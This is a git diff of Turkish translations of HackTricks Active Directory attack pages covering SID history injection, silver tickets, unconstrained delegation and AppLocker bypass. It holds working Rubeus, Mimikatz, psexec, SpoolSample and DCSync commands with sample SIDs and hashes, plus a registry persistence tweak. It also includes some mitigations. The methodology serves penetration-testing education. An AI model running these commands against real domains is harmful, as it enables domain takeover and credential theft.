[https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) +- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index 890eae1b3..38b6c1fd0 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -4,18 +4,46 @@ ## SID History Injection Attack -**SID History Injection Attack**'ın odak noktası, **kullanıcıların alanlar arasında göçünü** sağlarken, eski alan kaynaklarına erişimin devamını temin etmektir. Bu, kullanıcının önceki Güvenlik Tanımlayıcısını (SID) yeni hesabının SID Geçmişine **ekleyerek** gerçekleştirilir. Özellikle, bu süreç, ana alandan yüksek ayrıcalıklı bir grubun (örneğin, Enterprise Admins veya Domain Admins) SID'sini SID Geçmişine ekleyerek yetkisiz erişim sağlamak için manipüle edilebilir. Bu istismar, ana alandaki tüm kaynaklara erişim sağlar. +**SID History Injection Attack**'ın odak noktası, **kullanıcıların alanlar arasında göçünü** sağlarken, eski alan kaynaklarına erişimin devamını temin etmektir. Bu, kullanıcının önceki Güvenlik Tanımlayıcısının (SID) yeni hesabının SID Geçmişine **dahil edilmesiyle** gerçekleştirilir. Özellikle, bu süreç, ana alandan yüksek ayrıcalıklı bir grubun (örneğin, Enterprise Admins veya Domain Admins) SID'sini SID Geçmişine ekleyerek yetkisiz erişim sağlamak için manipüle edilebilir. Bu istismar, ana alandaki tüm kaynaklara erişim sağlar. Bu saldırıyı gerçekleştirmek için iki yöntem vardır: ya bir **Golden Ticket** ya da bir **Diamond Ticket** oluşturmak. **"Enterprise Admins"** grubunun SID'sini belirlemek için, önce kök alanın SID'sini bulmak gerekir. Tanımlamanın ardından, Enterprise Admins grup SID'si kök alanın SID'sine `-519` eklenerek oluşturulabilir. Örneğin, kök alan SID'si `S-1-5-21-280534878-1496970234-700767426` ise, "Enterprise Admins" grubunun sonuçta elde edilen SID'si `S-1-5-21-280534878-1496970234-700767426-519` olacaktır. -Ayrıca **Domain Admins** gruplarını da kullanabilirsiniz, bu grup **512** ile biter. +Ayrıca, **512** ile biten **Domain Admins** gruplarını da kullanabilirsiniz. -Diğer bir alanın (örneğin "Domain Admins") grubunun SID'sini bulmanın başka bir yolu: -```powershell +Diğer bir alanın (örneğin "Domain Admins") grubunun SID'sini bulmanın bir başka yolu: +```bash Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` +> [!WARNING] +> SID geçmişini bir güven ilişkisi içinde devre dışı bırakmanın bu saldırının başarısız olmasına neden olabileceğini unutmayın. + +[**docs**](https://technet.microsoft.com/library/cc835085.aspx) göre: +- **Orman güvenlerinde SIDHistory'yi devre dışı bırakma** netdom aracı kullanılarak (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) +- **Dış güvenlere SID Filtreleme Karantinası uygulama** netdom aracı kullanılarak (`netdom trust /domain: /quarantine:yes on the domain controller`) +- **Tek bir orman içindeki alan güvenlerine SID Filtreleme uygulamak** önerilmez çünkü bu desteklenmeyen bir yapılandırmadır ve kırıcı değişikliklere neden olabilir. Eğer bir orman içindeki bir alan güvenilir değilse, o ormanın üyesi olmamalıdır. Bu durumda, güvenilir ve güvenilir olmayan alanların ayrı ormanlara bölünmesi ve burada SID Filtrelemenin bir interforest güvenine uygulanması gereklidir. + +Bununla ilgili daha fazla bilgi için bu gönderiyi kontrol edin: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4) + +### Diamond Ticket (Rubeus + KRBTGT-AES256) + +Bunu en son denediğimde **`/ldap`** argümanını eklemem gerekti. +```bash +# Use the /sids param +Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap + +# Or a ptt with a golden ticket +## The /ldap command will get the details from the LDAP (so you don't need to put the SID) +## The /printcmd option will print the complete command if later you want to generate a token offline +Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt /ldap /nowrap /printcmd + +#e.g. + +execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd + +# You can use "Administrator" as username or any other string +``` ### Golden Ticket (Mimikatz) ile KRBTGT-AES256 ```bash mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid: /sids: /aes256: /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" @@ -39,16 +67,7 @@ Daha fazla bilgi için golden ticket'lar hakkında kontrol edin: golden-ticket.md {{#endref}} -### Diamond Ticket (Rubeus + KRBTGT-AES256) -```powershell -# Use the /sids param -Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap -# Or a ptt with a golden ticket -Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt - -# You can use "Administrator" as username or any other string -``` Daha fazla bilgi için diamond ticket'lar hakkında kontrol edin: {{#ref}} @@ -59,7 +78,7 @@ diamond-ticket.md .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi ls \\mcorp-dc.moneycorp.local\c$ ``` -Kompromize edilmiş alanın KRBTGT hash'ini kullanarak root veya Enterprise admin'e yükseltin: +Kompromize edilmiş alanın KRBTGT hash'ini kullanarak kök veya Enterprise admin'e yükseltin: ```bash Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' @@ -99,14 +118,14 @@ export KRB5CCNAME=hacker.ccache # psexec in domain controller of root psexec.py /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10 ``` -#### Otomatik olarak [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) kullanarak +#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) -Bu, **çocuk alanından ebeveyn alanına yükselmeyi otomatikleştiren** bir Impacket betiğidir. Betiğin ihtiyaçları: +Bu, **çocuk alanından ebeveyn alanına yükseltmeyi otomatikleştiren** bir Impacket betiğidir. Betik şunları gerektirir: - Hedef alan denetleyicisi - Çocuk alanındaki bir yönetici kullanıcısı için kimlik bilgileri -Akış şu şekildedir: +Akış şudur: - Ebeveyn alanının Enterprise Admins grubunun SID'sini alır - Çocuk alanındaki KRBTGT hesabının hash'ini alır diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index c508a1c4d..38d553ddd 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,7 +6,11 @@ ## Silver ticket -**Silver Ticket** saldırısı, Active Directory (AD) ortamlarında hizmet biletlerinin istismarını içerir. Bu yöntem, **bir hizmet hesabının NTLM hash'ini elde etmeye** dayanır, örneğin bir bilgisayar hesabı, bir Ticket Granting Service (TGS) bileti oluşturmak için. Bu sahte bilet ile bir saldırgan, ağdaki belirli hizmetlere erişebilir, **herhangi bir kullanıcıyı taklit ederek**, genellikle yönetici ayrıcalıkları elde etmeyi hedefler. Biletleri oluştururken AES anahtarlarının kullanılmasının daha güvenli ve daha az tespit edilebilir olduğu vurgulanmaktadır. +**Silver Ticket** saldırısı, Active Directory (AD) ortamlarında hizmet biletlerinin istismarını içerir. Bu yöntem, bir Ticket Granting Service (TGS) bileti oluşturmak için **bir hizmet hesabının NTLM hash'ini edinmeye** dayanır; bu, bir bilgisayar hesabı gibi bir hizmet hesabı olabilir. Bu sahte bilet ile bir saldırgan, genellikle yönetici ayrıcalıkları hedefleyerek, ağdaki belirli hizmetlere **herhangi bir kullanıcıyı taklit ederek** erişebilir. Biletleri sahtelemek için AES anahtarlarının kullanılmasının daha güvenli ve daha az tespit edilebilir olduğu vurgulanmaktadır. + +> [!WARNING] +> Silver Ticket'lar, yalnızca **hizmet hesabının hash'ini** gerektirdikleri için Golden Ticket'lara göre daha az tespit edilebilirler, krbtgt hesabını gerektirmezler. Ancak, hedefledikleri belirli hizmetle sınırlıdırlar. Ayrıca, sadece bir kullanıcının şifresini çalmak yeterlidir. +Ayrıca, bir **hesabın şifresini bir SPN ile ele geçirirseniz**, o şifreyi kullanarak o hizmete herhangi bir kullanıcıyı taklit eden bir Silver Ticket oluşturabilirsiniz. Bilet oluşturma için, işletim sistemine bağlı olarak farklı araçlar kullanılmaktadır: @@ -18,6 +22,11 @@ python psexec.py /@ -k -no-pass ``` ### Windows'ta ```bash +# Using Rubeus +## /ldap option is used to get domain data automatically +## With /ptt we already load the tickt in memory +rubeus.exe asktgs /user: [/rc4: /aes128: /aes256:] /domain: /ldap /service:cifs/domain.local /ptt /nowrap /printcmd + # Create the ticket mimikatz.exe "kerberos::golden /domain: /sid: /rc4: /user: /service: /target:" @@ -53,13 +62,17 @@ CIFS servisi, kurbanın dosya sistemine erişim için yaygın bir hedef olarak - 4634: Hesap Çıkışı - 4672: Yönetici Girişi +## Süreklilik + +Makinelerin her 30 günde bir şifrelerini değiştirmesini önlemek için `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ayarını yapabilir veya `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` değerini 30 günden daha büyük bir değere ayarlayarak makinelerin şifresinin ne zaman değiştirilmesi gerektiğini belirtebilirsiniz. + ## Hizmet biletlerini kötüye kullanma Aşağıdaki örneklerde, biletin yönetici hesabını taklit ederek alındığını varsayalım. ### CIFS -Bu bilet ile `C$` ve `ADMIN$` klasörlerine **SMB** üzerinden (eğer açığa çıkmışlarsa) erişim sağlayabilir ve uzaktaki dosya sisteminin bir kısmına dosyaları kopyalayabilirsiniz, sadece şunu yaparak: +Bu bilet ile `C$` ve `ADMIN$` klasörlerine **SMB** üzerinden (eğer açığa çıkmışlarsa) erişebilir ve uzaktaki dosya sisteminin bir kısmına dosyaları kopyalayabilirsiniz, sadece şunu yaparak: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ @@ -97,7 +110,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Daha fazla bilgi için **wmiexec** hakkında aşağıdaki sayfayı inceleyin: +Daha fazla bilgi için **wmiexec** hakkında aşağıdaki sayfaya bakın: {{#ref}} ../lateral-movement/wmiexec.md @@ -126,13 +139,17 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc ``` **DCSync hakkında daha fazla bilgi edinin** aşağıdaki sayfada: -## Referanslar - -- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) -- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - {{#ref}} dcsync.md {{#endref}} + +## Referanslar + +- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) +- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) +- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) + + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 1859026af..179b34a74 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -4,42 +4,49 @@ ## Unconstrained delegation -Bu, bir Alan Yöneticisinin alan içindeki herhangi bir **Bilgisayar** için ayarlayabileceği bir özelliktir. Daha sonra, bir **kullanıcı Bilgisayara giriş yaptığında**, o kullanıcının **TGT'sinin bir kopyası** DC tarafından sağlanan **TGS'ye gönderilecek** ve **LSASS'ta bellekte saklanacaktır**. Yani, makinede Yönetici ayrıcalıklarınız varsa, **biletleri dökebilir ve kullanıcıları** herhangi bir makinede taklit edebilirsiniz. +Bu, bir Alan Yöneticisinin alan içindeki herhangi bir **Bilgisayar** için ayarlayabileceği bir özelliktir. Daha sonra, bir **kullanıcı Bilgisayara giriş yaptığında**, o kullanıcının **TGT'sinin bir kopyası** DC tarafından sağlanan **TGS'ye gönderilecek** ve **LSASS'ta bellekte saklanacaktır**. Bu nedenle, makinede Yönetici ayrıcalıklarınız varsa, **biletleri dökebilir ve kullanıcıları taklit edebilirsiniz**. Bu nedenle, "Unconstrained Delegation" özelliği etkinleştirilmiş bir Bilgisayara giriş yapan bir alan yöneticisi varsa ve o makinede yerel yönetici ayrıcalıklarınız varsa, bileti dökebilir ve Alan Yöneticisini her yerde taklit edebilirsiniz (alan privesc). Bu **özelliğe sahip Bilgisayar nesnelerini bulabilirsiniz**; [userAccountControl]() niteliğinin [ADS_UF_TRUSTED_FOR_DELEGATION]() içerip içermediğini kontrol ederek. Bunu ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’ LDAP filtresi ile yapabilirsiniz; bu, powerview'ün yaptığıdır: - -
# List unconstrained computers
+```bash
+# List unconstrained computers
 ## Powerview
-Get-NetComputer -Unconstrained #DC'ler her zaman görünür ama privesc için faydalı değildir
-## ADSearch
-ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
-# Export tickets with Mimikatz
-privilege::debug
-sekurlsa::tickets /export #Tavsiye edilen yol
-kerberos::list /export #Başka bir yol
+## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
+Get-DomainComputer –Unconstrained –Properties name
+Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
+
+## ADSearch
+ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
+
+# Export tickets with Mimikatz
+## Access LSASS memory
+privilege::debug
+sekurlsa::tickets /export #Recommended way
+kerberos::list /export #Another way
 
 # Monitor logins and export new tickets
-.\Rubeus.exe monitor /targetuser: /interval:10 #Yeni TGT'ler için her 10 saniyede bir kontrol et
- -Yönetici (veya kurban kullanıcının) biletini bellekte **Mimikatz** veya **Rubeus ile** yükleyin [**Pass the Ticket**](pass-the-ticket.md)** için.**\ +## Doens't access LSASS memory directly, but uses Windows APIs +Rubeus.exe dump +Rubeus.exe monitor /interval:10 [/filteruser:] #Check every 10s for new TGTs +``` +Yönetici (veya kurban kullanıcı) biletini bellekte **Mimikatz** veya **Rubeus** ile yükleyin **[**Pass the Ticket**](pass-the-ticket.md)**.**\ Daha fazla bilgi: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ -[**Unconstrained delegation hakkında daha fazla bilgi ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) +[**Ired.team'de Kısıtlanmamış delegasyon hakkında daha fazla bilgi.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) -### **Force Authentication** +### **Kimlik Doğrulamayı Zorla** -Eğer bir saldırgan **"Unconstrained Delegation" için izin verilen bir bilgisayarı ele geçirebilirse**, bir **Yazıcı sunucusunu** **otomatik olarak giriş yapmaya** **kandırabilir** ve bu da sunucunun belleğinde bir TGT **kaydedebilir**.\ -Daha sonra, saldırgan **Kullanıcı Yazıcı sunucu bilgisayar hesabını taklit etmek için** bir **Pass the Ticket saldırısı** gerçekleştirebilir. +Eğer bir saldırgan **"Kısıtlanmamış Delegasyon"** için izin verilen bir bilgisayarı **ele geçirebilirse**, bir **Yazıcı sunucusunu** **otomatik olarak giriş yapmaya** **kandırabilir** ve bu sayede sunucunun belleğinde bir TGT **kaydedebilir**.\ +Sonrasında, saldırgan kullanıcı Yazıcı sunucu bilgisayar hesabını taklit etmek için **Pass the Ticket saldırısı** gerçekleştirebilir. Bir yazıcı sunucusunun herhangi bir makineye giriş yapmasını sağlamak için [**SpoolSample**](https://github.com/leechristensen/SpoolSample) kullanabilirsiniz: ```bash .\SpoolSample.exe ``` -Eğer TGT bir etki alanı denetleyicisinden geliyorsa, bir[ **DCSync attack**](acl-persistence-abuse/index.html#dcsync) gerçekleştirebilir ve DC'den tüm hash'leri elde edebilirsiniz.\ +Eğer TGT bir etki alanı denetleyicisinden geliyorsa, [**DCSync attack**](acl-persistence-abuse/index.html#dcsync) gerçekleştirebilir ve DC'den tüm hash'leri elde edebilirsiniz.\ [**Bu saldırı hakkında daha fazla bilgi ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) -**Kimlik doğrulamayı zorlamak için diğer yollar:** +Burada **kimlik doğrulamayı zorlamak için** diğer yolları bulun: {{#ref}} printers-spooler-service-abuse.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index 759eb9d46..371548f6c 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -4,15 +4,15 @@ ## AppLocker Politikası -Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır. +Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\ +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. Yürütülebilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde **ince ayar kontrolü** sağlar.\ Organizasyonların **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimi sağlaması yaygındır, **ancak bunların hepsi atlatılabilir**. ### Kontrol Hangi dosyaların/uzantıların kara listeye alındığını/beyaz listeye alındığını kontrol edin: -```powershell +```bash Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections @@ -26,7 +26,7 @@ Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve p ### Bypass -- AppLocker Politikasını atlamak için **Yazılabilir klasörler**: Eğer AppLocker `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyi çalıştırmaya izin veriyorsa, bunu **atlamak** için kullanabileceğiniz **yazılabilir klasörler** vardır. +- AppLocker Politikasını atlamak için **Yazılabilir klasörler**: Eğer AppLocker, `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyi çalıştırmaya izin veriyorsa, bunu **atlamak** için kullanabileceğiniz **yazılabilir klasörler** vardır. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color @@ -35,10 +35,10 @@ C:\windows\tracing ``` - Yaygın olarak **güvenilir** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları, AppLocker'ı atlatmak için de yararlı olabilir. - **Kötü yazılmış kurallar da atlatılabilir** -- Örneğin, **``**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izin verilecektir. +- Örneğin, **``**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izinli olacaktır. - Kuruluşlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** yürütülebilir dosyasını **engellemeye** odaklanır, ancak **diğer** [**PowerShell yürütülebilir konumlarını**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) unutur, örneğin `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe`. - **DLL uygulaması çok nadiren etkinleştirilir** çünkü sistem üzerinde ek bir yük oluşturabilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı yüksektir. Bu nedenle, **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olacaktır**. -- Herhangi bir süreçte **Powershell** kodunu **çalıştırmak** ve AppLocker'ı atlatmak için [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak **Powershell** kodunu herhangi bir süreçte çalıştırabilir ve AppLocker'ı atlatabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Kimlik Bilgileri Depolama @@ -49,23 +49,23 @@ Yerel kimlik bilgileri bu dosyada mevcuttur, şifreler hashlenmiştir. ### Yerel Güvenlik Otoritesi (LSA) - LSASS **Kimlik bilgileri** (hashlenmiş) bu alt sistemin **belleğinde** **kaydedilir**.\ -**LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim belirteçleri**... yönetir.\ -LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kontrol eden** ve bir alan kullanıcısını kimlik doğrulamak için **alan denetleyicisi** ile **konuşan** olacaktır. +**LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim jetonları**... yönetir.\ +LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kontrol edecek** ve bir alan kullanıcısını kimlik doğrulamak için **alan denetleyicisi** ile **iletişim kuracaktır**. **Kimlik bilgileri**, **işlem LSASS** içinde **kaydedilir**: Kerberos biletleri, NT ve LM hashleri, kolayca çözülebilen şifreler. ### LSA gizli bilgileri -LSA, diskte bazı kimlik bilgilerini kaydedebilir: +LSA, diske bazı kimlik bilgilerini kaydedebilir: -- Etki Alanı Denetleyicisi'ne (ulaşılamayan) ait bilgisayar hesabının şifresi. +- Aktif Dizin'in bilgisayar hesabının şifresi (ulaşılamayan alan denetleyicisi). - Windows hizmetlerinin hesaplarının şifreleri - Zamanlanmış görevler için şifreler - Daha fazlası (IIS uygulamalarının şifresi...) ### NTDS.dit -Bu, Active Directory'nin veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur. +Bu, Aktif Dizin'in veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur. ## Defender @@ -103,14 +103,14 @@ sc query windefend ``` ## Şifreli Dosya Sistemi (EFS) -EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir. +EFS, dosyaları **şifreleme** yoluyla güvence altına alır ve **Dosya Şifreleme Anahtarı (FEK)** olarak bilinen **simetrik anahtar** kullanır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifreli dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının karşılık gelen **özel anahtarı** $EFS akışından FEK'yi çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir. **Kullanıcı başlatması olmadan şifre çözme senaryoları** şunları içerir: - Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifreleri çözülür. - SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifreleri çözülür. -Bu şifreleme yöntemi, sahibine şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sahibin şifresini değiştirmek ve oturum açmak, şifre çözmeyi sağlamaz. +Bu şifreleme yöntemi, sahibine şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sahibin şifresini değiştirmek ve oturum açmak, şifre çözme izni vermez. **Ana Noktalar**: @@ -130,7 +130,7 @@ Ayrıca, bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak #### Yetki Sistemi Olmak -Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işlem token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da sadece kullanıcının işlemine `migrate` yapabilirsiniz. +Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işlem token'ını taklit edebilirsiniz (`incognito`'dan `impersonate_token`). Ya da sadece kullanıcının işlemine `migrate` yapabilirsiniz. #### Kullanıcının şifresini bilmek @@ -143,12 +143,12 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files Microsoft, IT altyapılarındaki hizmet hesaplarının yönetimini basitleştirmek için **Grup Yönetilen Hizmet Hesapları (gMSA)** geliştirmiştir. Geleneksel hizmet hesaplarının genellikle "**Şifre asla süresi dolmaz**" ayarı etkinken, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar: - **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemeleri gereksiz hale gelir. -- **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, böylece güvenliklerini artırır. +- **Gelişmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, bu da güvenliklerini artırır. - **Birden Fazla Ana Bilgisayar Desteği**: gMSA'lar, birden fazla ana bilgisayar arasında paylaşılabilir, bu da onları birden fazla sunucuda çalışan hizmetler için ideal hale getirir. - **Zamanlanmış Görev Yeteneği**: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler. - **Basitleştirilmiş SPN Yönetimi**: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı 